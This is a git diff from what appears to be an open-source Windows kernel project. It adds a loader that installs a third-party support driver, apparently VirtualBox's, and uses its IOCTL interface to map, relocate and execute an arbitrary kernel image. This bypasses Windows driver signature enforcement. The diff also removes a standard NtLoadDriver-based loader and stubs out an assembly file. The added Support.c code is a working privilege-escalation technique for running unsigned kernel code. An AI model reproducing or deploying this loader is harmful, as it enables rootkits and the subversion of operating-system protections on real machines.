(TRACE(Status)) { + do { + if (IMAGE_SNAP_BY_ORDINAL(OriginalThunk->u1.Ordinal)) { + Ordinal = (u16)IMAGE_ORDINAL(OriginalThunk->u1.Ordinal); + + FunctionAddress = LdrGetSymbolOffline( + ImportBase, + ImportViewBase, + NULL, + Ordinal); + + if (NULL != FunctionAddress) { + Thunk->u1.Function = (u)FunctionAddress; + } + else { + DbgPrint( + "[SHARK] import procedure ordinal@%d not found\n", + Ordinal); + } + } + else { + ImportByName = (u8ptr)ImageBase + OriginalThunk->u1.AddressOfData; + + FunctionAddress = LdrGetSymbolOffline( + ImportBase, + ImportViewBase, + ImportByName->Name, + 0); + + if (NULL != FunctionAddress) { + Thunk->u1.Function = (u)FunctionAddress; + } + else { + DbgPrint( + "[SHARK] import procedure %hs not found\n", + ImportByName->Name); + } + } + + OriginalThunk++; + Thunk++; + } while (OriginalThunk->u1.Function); + + TRACE(NtUnmapViewOfSection( + NtCurrentProcess(), + ImportViewBase)); + } + else { + DbgPrint( + "[SHARK] import dll %hs not found\n", + ImportName); + } + + ImportDirectory++; + } while (0 != ImportDirectory->Characteristics); + } +} + +ptr64 +NTAPI +LdrGetEntryPointOffline( + __in ptr ImageBase, + __in ptr ViewBase +) +{ + PIMAGE_NT_HEADERS NtHeaders = NULL; + u32 Offset = 0; + ptr64 EntryPoint = NULL; + + NtHeaders = RtlImageNtHeader(ViewBase); + + if (NULL != NtHeaders) { + if (IMAGE_NT_OPTIONAL_HDR32_MAGIC == NtHeaders->OptionalHeader.Magic) { + Offset = ((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.AddressOfEntryPoint; + } + + if (IMAGE_NT_OPTIONAL_HDR64_MAGIC == NtHeaders->OptionalHeader.Magic) { + Offset = ((PIMAGE_NT_HEADERS64)NtHeaders)->OptionalHeader.AddressOfEntryPoint; + } + + if (0 != Offset) { + EntryPoint = (u8ptr)ImageBase + Offset; + } + } + + return EntryPoint; +} + +u32 +NTAPI +LdrGetSize( + __in ptr ImageBase +) +{ + PIMAGE_NT_HEADERS NtHeaders = NULL; + u32 SizeOfImage = 0; + + NtHeaders = RtlImageNtHeader(ImageBase); + + if (NULL != NtHeaders) { + if (IMAGE_NT_OPTIONAL_HDR32_MAGIC == NtHeaders->OptionalHeader.Magic) { + SizeOfImage = ((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.SizeOfImage; + } + + if (IMAGE_NT_OPTIONAL_HDR64_MAGIC == NtHeaders->OptionalHeader.Magic) { + SizeOfImage = ((PIMAGE_NT_HEADERS64)NtHeaders)->OptionalHeader.SizeOfImage; + } + } + + return SizeOfImage; +} + +s +NTAPI +LdrSetImageBase( + __in ptr ViewBase, + __in ptr ImageBase +) +{ + PIMAGE_NT_HEADERS NtHeaders = NULL; + s Diff = 0; + + NtHeaders = RtlImageNtHeader(ViewBase); + + if (NULL != NtHeaders) { + if (IMAGE_NT_OPTIONAL_HDR32_MAGIC == NtHeaders->OptionalHeader.Magic) { + Diff = (s)ImageBase + - (s)((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.ImageBase; + + ((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.ImageBase = + (u)ImageBase; + } + + if (IMAGE_NT_OPTIONAL_HDR64_MAGIC == NtHeaders->OptionalHeader.Magic) { + Diff = (s64)ImageBase + - (s64)((PIMAGE_NT_HEADERS64)NtHeaders)->OptionalHeader.ImageBase; + + ((PIMAGE_NT_HEADERS64)NtHeaders)->OptionalHeader.ImageBase = + (u64)ImageBase; + } + } + + return Diff; +} + +status +NTAPI +SupLdrMapSection( + __in wcptr ImageFileName, + __out ptr * ViewBase, + __out u * ViewSize +) +{ + status Status = STATUS_SUCCESS; + ptr Handle = NULL; + ptr Section = NULL; + UNICODE_STRING FilePath = { 0 }; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + FILE_STANDARD_INFORMATION StandardInformation = { 0 }; + PIMAGE_NT_HEADERS NtHeaders = NULL; + PIMAGE_SECTION_HEADER NtSection = NULL; + LARGE_INTEGER ByteOffset = { 0 }; + ptr FileCache = NULL; + u Index = 0; + + Status = RtlDosPathNameToNtPathName_U_WithStatus( + ImageFileName, + &FilePath, + NULL, + NULL); + + if (NT_SUCCESS(Status)) { + InitializeObjectAttributes( + &ObjectAttributes, + &FilePath, + OBJ_CASE_INSENSITIVE, + NULL, + NULL); + + Status = NtOpenFile( + &Handle, + FILE_READ_DATA, + &ObjectAttributes, + &IoStatusBlock, + FILE_SHARE_READ | FILE_SHARE_DELETE, + 0); + + if (NT_SUCCESS(Status)) { + Status = NtQueryInformationFile( + Handle, + &IoStatusBlock, + &StandardInformation, + sizeof(FILE_STANDARD_INFORMATION), + FileStandardInformation); + + if (TRACE(Status)) { + FileCache = __malloc(StandardInformation.EndOfFile.LowPart); + + if (NULL != FileCache) { + Status = NtReadFile( + Handle, + NULL, + NULL, + NULL, + &IoStatusBlock, + FileCache, + StandardInformation.EndOfFile.LowPart, + &ByteOffset, + NULL); + + if (NT_SUCCESS(Status)) { + *ViewSize = LdrGetSize(FileCache); + + *ViewBase = __malloc(*ViewSize); + + if (NULL != *ViewBase) { + NtHeaders = RtlImageNtHeader(FileCache); + NtSection = IMAGE_FIRST_SECTION(NtHeaders); + + RtlCopyMemory( + *ViewBase, + FileCache, + NtSection->VirtualAddress); + + for (Index = 0; + Index < NtHeaders->FileHeader.NumberOfSections; + Index++) { + if (0 != NtSection[Index].VirtualAddress) { + RtlCopyMemory( + (ptr)((u)*ViewBase + NtSection[Index].VirtualAddress), + (ptr)((u)FileCache + NtSection[Index].PointerToRawData), + NtSection[Index].SizeOfRawData); + } + } + } + else { + Status = STATUS_INSUFFICIENT_RESOURCES; + } + } + + __free(FileCache); + } + else { + Status = STATUS_INSUFFICIENT_RESOURCES; + } + } + + TRACE(NtClose(Handle)); + } + + RtlFreeUnicodeString(&FilePath); + } + + return Status; +} + +status +NTAPI +SupInstall( + void +) +{ + status Status = STATUS_SUCCESS; + ptr Handle = NULL; + u DiskSize = 0; + UNICODE_STRING ImagePath = { 0 }; + wc ImagePathBuffer[MAXIMUM_FILENAME_LENGTH] = { 0 }; + + Status = RegistryOpenKey( + &Handle, + KEY_READ, + RegistryString); + + if (Status < 0) { + Status = RtlDosPathNameToNtPathName_U_WithStatus( + SupportString, + &ImagePath, + NULL, + NULL); + + if (TRACE(Status)) { + RtlCopyMemory( + ImagePathBuffer, ImagePath.Buffer, ImagePath.Length); + + Status = RegistryCreateSevice( + ImagePathBuffer, ServiceString); + + RtlFreeUnicodeString(&ImagePath); + } + } + else { + Status = STATUS_NOT_SUPPORTED; + } + + return Status; +} + +void +NTAPI +SupUninstall( + void +) +{ + TRACE(RegistryDeleteSevice(ServiceString)); +} + +status +NTAPI +SupInit( + void +) +{ + status Status = STATUS_SUCCESS; + ptr Handle = NULL; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + UNICODE_STRING String = { 0 }; + SUPCOOKIE Req = { 0 }; + + RtlInitUnicodeString(&String, DeviceString); + + InitializeObjectAttributes( + &ObjectAttributes, + &String, + OBJ_CASE_INSENSITIVE, + NULL, + NULL); + + Status = NtOpenFile( + &Handle, + FILE_ALL_ACCESS, + &ObjectAttributes, + &IoStatusBlock, + FILE_SHARE_READ | FILE_SHARE_WRITE, + FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT); + + if (TRACE(Status)) { + RtlFillMemory(&Req, sizeof(Req), 0xff); + + Req.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE; + Req.Hdr.u32SessionCookie = __rdtsc(); + Req.Hdr.cbIn = SUP_IOCTL_COOKIE_SIZE_IN; + Req.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT; + Req.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT; + Req.Hdr.rc = ERR_INTERNAL_ERROR; + Req.u.In.u32MinVersion = + (SUPDRVIOC_VERSION & 0xffff0000) == 0x00070000 ? + 0x00070002 : + SUPDRVIOC_VERSION & 0xffff0000; + + strcpy(Req.u.In.szMagic, SUPCOOKIE_MAGIC); + + Status = NtDeviceIoControlFile( + Handle, + NULL, + NULL, + NULL, + &IoStatusBlock, + SUP_IOCTL_COOKIE, + &Req, + SUP_IOCTL_COOKIE_SIZE_IN, + &Req, + SUP_IOCTL_COOKIE_SIZE_OUT); + + if (TRACE(Status)) { + Cookie = Req.u.Out.u32Cookie; + SessionCookie = Req.u.Out.u32SessionCookie; + Session = Req.u.Out.pSession; + SUPHandle = Handle; + } + } + + return Status; +} + +void +NTAPI +SupTerm( + void +) +{ + TRACE(NtClose(SUPHandle)); + + Cookie = 0; + SessionCookie = 0; + Session = SUPHandle; + SUPHandle = NULL; +} + +status +NTAPI +SupLdrUnload( + __in ptr ImageBase +) +{ + status Status = STATUS_SUCCESS; + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + SUPLDRFREE Req = { 0 }; + + Req.Hdr.u32Cookie = Cookie; + Req.Hdr.u32SessionCookie = SessionCookie; + Req.Hdr.cbIn = SUP_IOCTL_LDR_FREE_SIZE_IN; + Req.Hdr.cbOut = SUP_IOCTL_LDR_FREE_SIZE_OUT; + Req.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT; + Req.Hdr.rc = ERR_INTERNAL_ERROR; + Req.u.In.pvImageBase = ImageBase; + + Status = NtDeviceIoControlFile( + SUPHandle, + NULL, + NULL, + NULL, + &IoStatusBlock, + SUP_IOCTL_LDR_FREE, + &Req, + SUP_IOCTL_LDR_FREE_SIZE_IN, + &Req, + SUP_IOCTL_LDR_FREE_SIZE_OUT); + + return Status; +} + +status +NTAPI +SupLdrLoad( + __in wcptr ImageFileName, + __in cptr BaseName, + __in u32 Operation +) +{ + status Status = STATUS_SUCCESS; + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + ptr ViewBase = NULL; + u ViewSize = 0; + PSUPLDRLOAD LoadReq = NULL; + SUPLDROPEN OpenReq = { 0 }; + SUPCALLVMMR0 CallReq = { 0 }; + s Diff = 0; + + Status = SupLdrMapSection( + ImageFileName, + &ViewBase, + &ViewSize); + + if (TRACE(Status)) { + OpenReq.Hdr.u32Cookie = Cookie; + OpenReq.Hdr.u32SessionCookie = SessionCookie; + OpenReq.Hdr.cbIn = SUP_IOCTL_LDR_OPEN_SIZE_IN; + OpenReq.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT; + OpenReq.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT; + OpenReq.Hdr.rc = ERR_INTERNAL_ERROR; + OpenReq.u.In.cbImage = ViewSize; + + strcpy(OpenReq.u.In.szName, BaseName); + + Status = NtDeviceIoControlFile( + SUPHandle, + NULL, + NULL, + NULL, + &IoStatusBlock, + SUP_IOCTL_LDR_OPEN, + &OpenReq, + OpenReq.Hdr.cbIn, + &OpenReq, + OpenReq.Hdr.cbOut); + + if (TRACE(Status)) { + LoadReq = __malloc(SUP_IOCTL_LDR_LOAD_SIZE(ViewSize)); + + if (NULL != LoadReq) { + RtlZeroMemory(LoadReq, SUP_IOCTL_LDR_LOAD_SIZE(ViewSize)); + + LoadReq->Hdr.u32Cookie = Cookie; + LoadReq->Hdr.u32SessionCookie = SessionCookie; + LoadReq->Hdr.cbIn = SUP_IOCTL_LDR_LOAD_SIZE_IN(ViewSize); + LoadReq->Hdr.cbOut = SUP_IOCTL_LDR_LOAD_SIZE_OUT; + LoadReq->Hdr.fFlags = SUPREQHDR_FLAGS_MAGIC | SUPREQHDR_FLAGS_EXTRA_IN; + LoadReq->Hdr.rc = ERR_INTERNAL_ERROR; + LoadReq->u.In.eEPType = SUPLDRLOADEP_VMMR0; + LoadReq->u.In.pvImageBase = OpenReq.u.Out.pvImageBase; + LoadReq->u.In.cbImage = ViewSize; + + RtlCopyMemory( + LoadReq->u.In.achImage, + ViewBase, + ViewSize); + + Diff = LdrSetImageBase( + LoadReq->u.In.achImage, + LoadReq->u.In.pvImageBase); + + LdrRelocImage(LoadReq->u.In.achImage, Diff); + LdrSnapThunkOffline(LoadReq->u.In.achImage); + + LoadReq->u.In.pfnModuleTerm = + LoadReq->u.In.pfnModuleInit = LdrGetEntryPointOffline( + LoadReq->u.In.pvImageBase, + LoadReq->u.In.achImage); + + // pass unset + LoadReq->u.In.EP.VMMR0.pvVMMR0 = (ptr)((u)OpenReq.u.Out.pvImageBase + 1); + + LoadReq->u.In.EP.VMMR0.pvVMMR0EntryInt = LdrGetEntryPointOffline( + LoadReq->u.In.pvImageBase, + LoadReq->u.In.achImage);; + + LoadReq->u.In.EP.VMMR0.pvVMMR0EntryFast = LdrGetSymbolOffline( + LoadReq->u.In.pvImageBase, + LoadReq->u.In.achImage, + "KernelFastCall", + 0); + + LoadReq->u.In.EP.VMMR0.pvVMMR0EntryEx = LdrGetSymbolOffline( + LoadReq->u.In.pvImageBase, + LoadReq->u.In.achImage, + "KernelEntry", + 0); + + Status = NtDeviceIoControlFile( + SUPHandle, + NULL, + NULL, + NULL, + &IoStatusBlock, + SUP_IOCTL_LDR_LOAD, + LoadReq, + LoadReq->Hdr.cbIn, + LoadReq, + LoadReq->Hdr.cbOut); + + if (NT_SUCCESS(Status)) { + CallReq.Hdr.u32Cookie = Cookie; + CallReq.Hdr.u32SessionCookie = SessionCookie; + CallReq.Hdr.cbIn = SUP_IOCTL_CALL_VMMR0_SIZE_IN(0); + CallReq.Hdr.cbOut = SUP_IOCTL_CALL_VMMR0_SIZE_OUT(0); + CallReq.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT; + CallReq.Hdr.rc = ERR_INTERNAL_ERROR; + CallReq.u.In.pVMR0 = (ptr)((u)OpenReq.u.Out.pvImageBase + - MEM_FENCE_EXTRA - sizeof(SUPDRVLDRIMAGE)/* - sizeof(MEMHDR) */); + CallReq.u.In.uOperation = Operation; + CallReq.u.In.u64Arg = 0; + + DbgPrint( + ".reload /i %s=%p < %p - %08x >\n", + BaseName, + OpenReq.u.Out.pvImageBase, + OpenReq.u.Out.pvImageBase, + ViewSize); + + Status = NtDeviceIoControlFile( + SUPHandle, + NULL, + NULL, + NULL, + &IoStatusBlock, + SUP_IOCTL_CALL_VMMR0(0), + &CallReq, + CallReq.Hdr.cbIn, + &CallReq, + CallReq.Hdr.cbOut); + + SupLdrUnload(OpenReq.u.Out.pvImageBase); + } + + __free(LoadReq); + } + else { + Status = STATUS_INSUFFICIENT_RESOURCES; + } + } + + __free(ViewBase); + } + + return Status; +} diff --git a/Projects/Sea/Support.h b/Projects/Sea/Support.h new file mode 100644 index 00000000..3c663be0 --- /dev/null +++ b/Projects/Sea/Support.h @@ -0,0 +1,105 @@ +/* +* +* Copyright (c) 2015 - 2021 by blindtiger. All rights reserved. +* +* The contents of this file are subject to the Mozilla Public License Version +* 2.0 (the "License"); you may not use this file except in compliance with +* the License. You may obtain a copy of the License at +* http://www.mozilla.org/MPL/ +* +* Software distributed under the License is distributed on an "AS IS" basis, +* WITHOUT WARRANTY OF ANY KIND, either express or implied. SEe the License +* for the specific language governing rights and limitations under the +* License. +* +* The Initial Developer of the Original Code is blindtiger. +* +*/ + +#ifndef _SUPPORT_H_ +#define _SUPPORT_H_ + +#ifdef __cplusplus +/* Assume byte packing throughout */ +extern "C" { +#endif /* __cplusplus */ + + status + NTAPI + RegistryOpenKey( + __out ptr * KeyHandle, + __in ACCESS_MASK DesiredAccess, + __in wcptr KeyList + ); + + status + NTAPI + RegistryCreateSevice( + __in wcptr ImageFileName, + __in wcptr ServiceName + ); + + status + NTAPI + RegistryDeleteSevice( + __in wcptr ServiceName + ); + + ptr + NTAPI + LdrGetSymbolOffline( + __in ptr ImageBase, + __in ptr ImageViewBase, + __in_opt cptr ProcedureName, + __in_opt u32 ProcedureNumber + ); + + status + NTAPI + SupInstall( + void + ); + + void + NTAPI + SupUninstall( + void + ); + + status + NTAPI + SupInit( + void + ); + + void + NTAPI + SupTerm( + void + ); + + status + NTAPI + SupLdrUnload( + __in ptr ImageBase + ); + + status + NTAPI + SupSetVMForFastIoCtl( + __in ptr Handler + ); + + status + NTAPI + SupLdrLoad( + __in wcptr ImageFileName, + __in cptr BaseName, + __in u32 Operation + ); + +#ifdef __cplusplus +} +#endif /* __cplusplus */ + +#endif // !_SUPPORT_H_ diff --git a/Projects/Sea/Sysload.c b/Projects/Sea/Sysload.c deleted file mode 100644 index 15602777..00000000 --- a/Projects/Sea/Sysload.c +++ /dev/null @@ -1,410 +0,0 @@ -/* -* -* Copyright (c) 2015 - 2021 by blindtiger. All rights reserved. -* -* The contents of this file are subject to the Mozilla Public License Version -* 2.0 (the "License"); you may not use this file except in compliance with -* the License. You may obtain a copy of the License at -* http://www.mozilla.org/MPL/ -* -* Software distributed under the License is distributed on an "AS IS" basis, -* WITHOUT WARRANTY OF ANY KIND, either express or implied. SEe the License -* for the specific language governing rights and limitations under the -* License. -* -* The Initial Developer of the Original Code is blindtiger. -* -*/ - -#include - -#include "Sysload.h" - -NTSTATUS -NTAPI -CreateKey( - __out PHANDLE KeyHandle, - __in ACCESS_MASK DesiredAccess, - __in PCWSTR KeyList, - __in ULONG CreateOptions -) -{ - NTSTATUS Status = STATUS_SUCCESS; - OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; - UNICODE_STRING KeyPath = { 0 }; - - RtlInitUnicodeString(&KeyPath, KeyList); - - InitializeObjectAttributes( - &ObjectAttributes, - &KeyPath, - OBJ_CASE_INSENSITIVE, - NULL, - NULL); - - Status = NtCreateKey( - KeyHandle, - DesiredAccess, - &ObjectAttributes, - 0, - NULL, - CreateOptions, - NULL); - - return Status; -} - -NTSTATUS -NTAPI -OpenKey( - __out PHANDLE KeyHandle, - __in ACCESS_MASK DesiredAccess, - __in PCWSTR KeyList -) -{ - NTSTATUS Status = STATUS_SUCCESS; - OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; - UNICODE_STRING KeyPath = { 0 }; - - RtlInitUnicodeString(&KeyPath, KeyList); - - InitializeObjectAttributes( - &ObjectAttributes, - &KeyPath, - OBJ_CASE_INSENSITIVE, - NULL, - NULL); - - Status = NtOpenKey( - KeyHandle, - DesiredAccess, - &ObjectAttributes); - - return Status; -} - -NTSTATUS -NTAPI -SetValueKey( - __in HANDLE KeyHandle, - __in PCWSTR ValueName, - __in ULONG Type, - __in_bcount_opt(DataSize) PVOID Data, - __in ULONG DataSize -) -{ - NTSTATUS Status = STATUS_SUCCESS; - UNICODE_STRING KeyValueName = { 0 }; - - RtlInitUnicodeString(&KeyValueName, ValueName); - - Status = NtSetValueKey( - KeyHandle, - &KeyValueName, - 0, - Type, - Data, - DataSize); - - return Status; -} - -VOID -NTAPI -DeleteKey( - __in PUNICODE_STRING KeyPath -) -{ - NTSTATUS Status = STATUS_SUCCESS; - HANDLE KeyHandle = NULL; - OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; - PKEY_BASIC_INFORMATION BasicInformation = NULL; - PKEY_VALUE_BASIC_INFORMATION ValueBasicInformation = NULL; - UNICODE_STRING KeyName = { 0 }; - UNICODE_STRING Separator = { 0 }; - UNICODE_STRING SubKeyName = { 0 }; - PWSTR KeyNameBuffer = NULL; - ULONG Length = 0; - ULONG ResultLength = 0; - - InitializeObjectAttributes( - &ObjectAttributes, - KeyPath, - OBJ_CASE_INSENSITIVE, - NULL, - NULL); - - Status = NtOpenKey( - &KeyHandle, - KEY_ALL_ACCESS, - &ObjectAttributes); - - if (NT_SUCCESS(Status)) { - Length = - MAXIMUM_FILENAME_LENGTH * sizeof(WCHAR) + - FIELD_OFFSET(KEY_BASIC_INFORMATION, Name); - - BasicInformation = RtlAllocateHeap( - RtlProcessHeap(), - 0, - Length + - MAXIMUM_FILENAME_LENGTH * sizeof(WCHAR) + - MAXIMUM_FILENAME_LENGTH * sizeof(WCHAR) + - FIELD_OFFSET(KEY_VALUE_BASIC_INFORMATION, Name)); - - if (NULL != BasicInformation) { - KeyNameBuffer = (PCHAR)BasicInformation + Length; - ValueBasicInformation = KeyNameBuffer + MAXIMUM_FILENAME_LENGTH; - - do { - Status = NtEnumerateKey( - KeyHandle, - 0, - KeyBasicInformation, - BasicInformation, - Length, - &ResultLength); - - if (NT_SUCCESS(Status)) { - SubKeyName.Buffer = KeyNameBuffer; - SubKeyName.Length = 0; - SubKeyName.MaximumLength = (USHORT)MAXIMUM_FILENAME_LENGTH * sizeof(WCHAR); - - KeyName.Buffer = BasicInformation->Name; - KeyName.Length = (USHORT)BasicInformation->NameLength; - KeyName.MaximumLength = (USHORT)MAXIMUM_FILENAME_LENGTH * sizeof(WCHAR); - - RtlInitUnicodeString(&Separator, L"\\"); - - RtlAppendStringToString(&SubKeyName, KeyPath); - RtlAppendStringToString(&SubKeyName, &Separator); - RtlAppendStringToString(&SubKeyName, &KeyName); - - DeleteKey(&SubKeyName); - } - } while (NT_SUCCESS(Status)); - - do { - Status = NtEnumerateValueKey( - KeyHandle, - 0, - KeyValueBasicInformation, - ValueBasicInformation, - Length, - &ResultLength); - - if (NT_SUCCESS(Status)) { - KeyName.Buffer = ValueBasicInformation->Name; - KeyName.Length = (USHORT)ValueBasicInformation->NameLength; - KeyName.MaximumLength = (USHORT)MAXIMUM_FILENAME_LENGTH * sizeof(WCHAR); - - NT_SUCCESS(NtDeleteValueKey( - KeyHandle, - &KeyName)); - } - } while (NT_SUCCESS(Status)); - - RtlFreeHeap( - RtlProcessHeap(), - 0, - BasicInformation); - } - - NT_SUCCESS(NtDeleteKey(KeyHandle)); - NT_SUCCESS(NtClose(KeyHandle)); - } -} - -NTSTATUS -NTAPI -LoadKernelImage( - __in PWSTR ImageFileName, - __in PWSTR ServiceName -) -{ - NTSTATUS Status = STATUS_SUCCESS; - HANDLE KeyHandle = NULL; - OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; - UNICODE_STRING KeyPath = { 0 }; - PWSTR KeyPathBuffer = NULL; - UNICODE_STRING KeyName = { 0 }; - UNICODE_STRING ImagePath = { 0 }; - ULONG Type = 1; - ULONG Start = 3; - ULONG ErrorControl = 1; - BOOLEAN WasEnabled = FALSE; - - Status = RtlAdjustPrivilege( - SE_LOAD_DRIVER_PRIVILEGE, - TRUE, - FALSE, - &WasEnabled); - - if (NT_SUCCESS(Status)) { - KeyPathBuffer = RtlAllocateHeap( - RtlProcessHeap(), - 0, - MAXIMUM_FILENAME_LENGTH * sizeof(WCHAR)); - - if (NULL != KeyPathBuffer) { - KeyPath.Buffer = KeyPathBuffer; - KeyPath.Length = 0; - KeyPath.MaximumLength = MAXIMUM_FILENAME_LENGTH * sizeof(WCHAR); - - RtlInitUnicodeString(&KeyName, ServicesDirectory); - RtlAppendStringToString(&KeyPath, &KeyName); - RtlInitUnicodeString(&KeyName, ServiceName); - RtlAppendStringToString(&KeyPath, &KeyName); - - InitializeObjectAttributes( - &ObjectAttributes, - &KeyPath, - OBJ_CASE_INSENSITIVE, - NULL, - NULL); - - Status = NtCreateKey( - &KeyHandle, - KEY_ALL_ACCESS, - &ObjectAttributes, - 0, - NULL, - REG_OPTION_VOLATILE, - NULL); - - if (NT_SUCCESS(Status)) { - NT_SUCCESS(SetValueKey( - KeyHandle, - L"Type", - REG_DWORD, - &Type, - sizeof(Type))); - - NT_SUCCESS(SetValueKey( - KeyHandle, - L"ErrorControl", - REG_DWORD, - &ErrorControl, - sizeof(ErrorControl))); - - NT_SUCCESS(SetValueKey( - KeyHandle, - L"Start", - REG_DWORD, - &Start, - sizeof(Start))); - - NT_SUCCESS(SetValueKey( - KeyHandle, - L"DisplayName", - REG_SZ, - ServiceName, - wcslen(ServiceName) * sizeof(WCHAR) + sizeof(UNICODE_NULL))); - - RtlInitUnicodeString(&ImagePath, ImageFileName); - - NT_SUCCESS(SetValueKey( - KeyHandle, - L"ImagePath", - REG_EXPAND_SZ, - ImagePath.Buffer, - ImagePath.Length + sizeof(UNICODE_NULL))); - - Status = NtLoadDriver(&KeyPath); - - NT_SUCCESS(NtClose(KeyHandle)); - } - - RtlFreeHeap( - RtlProcessHeap(), - 0, - KeyPathBuffer); - } - - if (FALSE == WasEnabled) { - Status = RtlAdjustPrivilege( - SE_LOAD_DRIVER_PRIVILEGE, - FALSE, - FALSE, - &WasEnabled); - } - } - - return Status; -} - -NTSTATUS -NTAPI -UnloadKernelImage( - __in PWSTR ServiceName -) -{ - NTSTATUS Status = STATUS_SUCCESS; - HANDLE KeyHandle = NULL; - OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; - UNICODE_STRING KeyPath = { 0 }; - PWSTR KeyPathBuffer = NULL; - UNICODE_STRING KeyName = { 0 }; - BOOLEAN WasEnabled = FALSE; - - Status = RtlAdjustPrivilege( - SE_LOAD_DRIVER_PRIVILEGE, - TRUE, - FALSE, - &WasEnabled); - - if (NT_SUCCESS(Status)) { - KeyPathBuffer = RtlAllocateHeap( - RtlProcessHeap(), - 0, - MAXIMUM_FILENAME_LENGTH * sizeof(WCHAR)); - - if (NULL != KeyPathBuffer) { - KeyPath.Buffer = KeyPathBuffer; - KeyPath.Length = 0; - KeyPath.MaximumLength = MAXIMUM_FILENAME_LENGTH * sizeof(WCHAR); - - RtlInitUnicodeString(&KeyName, ServicesDirectory); - RtlAppendStringToString(&KeyPath, &KeyName); - RtlInitUnicodeString(&KeyName, ServiceName); - RtlAppendStringToString(&KeyPath, &KeyName); - - InitializeObjectAttributes( - &ObjectAttributes, - &KeyPath, - OBJ_CASE_INSENSITIVE, - NULL, - NULL); - - Status = NtOpenKey( - &KeyHandle, - KEY_ALL_ACCESS, - &ObjectAttributes); - - if (NT_SUCCESS(Status)) { - Status = NtUnloadDriver(&KeyPath); - - if (NT_SUCCESS(Status)) { - DeleteKey(&KeyPath); - } - - NT_SUCCESS(NtClose(KeyHandle)); - } - - RtlFreeHeap( - RtlProcessHeap(), - 0, - KeyPathBuffer); - } - - if (FALSE == WasEnabled) { - Status = RtlAdjustPrivilege( - SE_LOAD_DRIVER_PRIVILEGE, - FALSE, - FALSE, - &WasEnabled); - } - } - - return Status; -} diff --git a/Projects/Sea/Sysload.h b/Projects/Sea/Sysload.h deleted file mode 100644 index 09f79851..00000000 --- a/Projects/Sea/Sysload.h +++ /dev/null @@ -1,44 +0,0 @@ -/* -* -* Copyright (c) 2015 - 2021 by blindtiger. All rights reserved. -* -* The contents of this file are subject to the Mozilla Public License Version -* 2.0 (the "License"); you may not use this file except in compliance with -* the License. You may obtain a copy of the License at -* http://www.mozilla.org/MPL/ -* -* Software distributed under the License is distributed on an "AS IS" basis, -* WITHOUT WARRANTY OF ANY KIND, either express or implied. SEe the License -* for the specific language governing rights and limitations under the -* License. -* -* The Initial Developer of the Original Code is blindtiger. -* -*/ - -#ifndef _SYSLOAD_H_ -#define _SYSLOAD_H_ - -#ifdef __cplusplus -/* Assume byte packing throughout */ -extern "C" { -#endif /* __cplusplus */ - - NTSTATUS - NTAPI - LoadKernelImage( - __in PWSTR ImageFileName, - __in PWSTR ServiceName - ); - - NTSTATUS - NTAPI - UnloadKernelImage( - __in PWSTR ServiceName - ); - -#ifdef __cplusplus -} -#endif /* __cplusplus */ - -#endif // !_SYSLOAD_H_ diff --git a/Projects/Shark/AMD64/AMD64.asm b/Projects/Shark/AMD64/AMD64.asm index 7c8605ee..082c0b38 100644 --- a/Projects/Shark/AMD64/AMD64.asm +++ b/Projects/Shark/AMD64/AMD64.asm @@ -1,99 +1,37 @@ -; -; -; Copyright (c) 2015 - 2021 by blindtiger. All rights reserved. -; -; The contents of this file are subject to the Mozilla Public License Version -; 2.0 (the "License"); you may not use this file except in compliance with -; the License. You may obtain a copy of the License at -; http://www.mozilla.org/MPL/ -; -; Software distributed under the License is distributed on an "AS IS" basis, -; WITHOUT WARRANTY OF ANY KIND, either express or implied. SEe the License -; for the specific language governing rights and limitations under the -; License. -; -; The Initial Developer of the Original Code is blindtiger. -; -; - -include ksamd64.inc -include macamd64.inc - - LEAF_ENTRY _FlushSingleTb, _TEXT$00 - - mov rax, rcx - invlpg [rax] - ret - - LEAF_END _FlushSingleTb, _TEXT$00 - - NESTED_ENTRY _GuardCall, _TEXT$00 - - alloc_stack ( KSTART_FRAME_LENGTH - 8 ) - - END_PROLOGUE - - mov rax, rcx - - test rax, rax - jz @f - - mov rcx, rdx - mov rdx, r8 - mov r8, r9 - - call rax - - add rsp, ( KSTART_FRAME_LENGTH - 8 ) - - ret - -@@ : - mov rax, rdx - - test rax, rax - jz @f - - mov rcx, r8 - mov rdx, r9 - - call rax - - add rsp, ( KSTART_FRAME_LENGTH - 8 ) - - ret - -@@ : - mov rax, r8 - - test rax, rax - jz @f - - mov rcx, r9 - - call rax - - add rsp, ( KSTART_FRAME_LENGTH - 8 ) - - ret - -@@ : - mov rax, r9 - - test rax, rax - jz error - - call rax - - add rsp, ( KSTART_FRAME_LENGTH - 8 ) - - ret - -error : - add rsp, ( KSTART_FRAME_LENGTH - 8 ) - - ret - - NESTED_END _GuardCall, _TEXT$00 - - end +; +; +; Copyright (c) 2015 - 2021 by blindtiger. All rights reserved. +; +; The contents of this file are subject to the Mozilla Public License Version +; 2.0 (the "License"); you may not use this file except in compliance with +; the License. You may obtain a copy of the License at +; http://www.mozilla.org/MPL/ +; +; Software distributed under the License is distributed on an "AS IS" basis, +; WITHOUT WARRANTY OF ANY KIND, either express or implied. SEe the License +; for the specific language governing rights and limitations under the +; License. +; +; The Initial Developer of the Original Code is blindtiger. +; +; + +include ksamd64.inc +include macamd64.inc + + LEAF_ENTRY DriverEntry, _TEXT$00 + + xor rax, rax + ret + + LEAF_END DriverEntry, _TEXT$00 + + 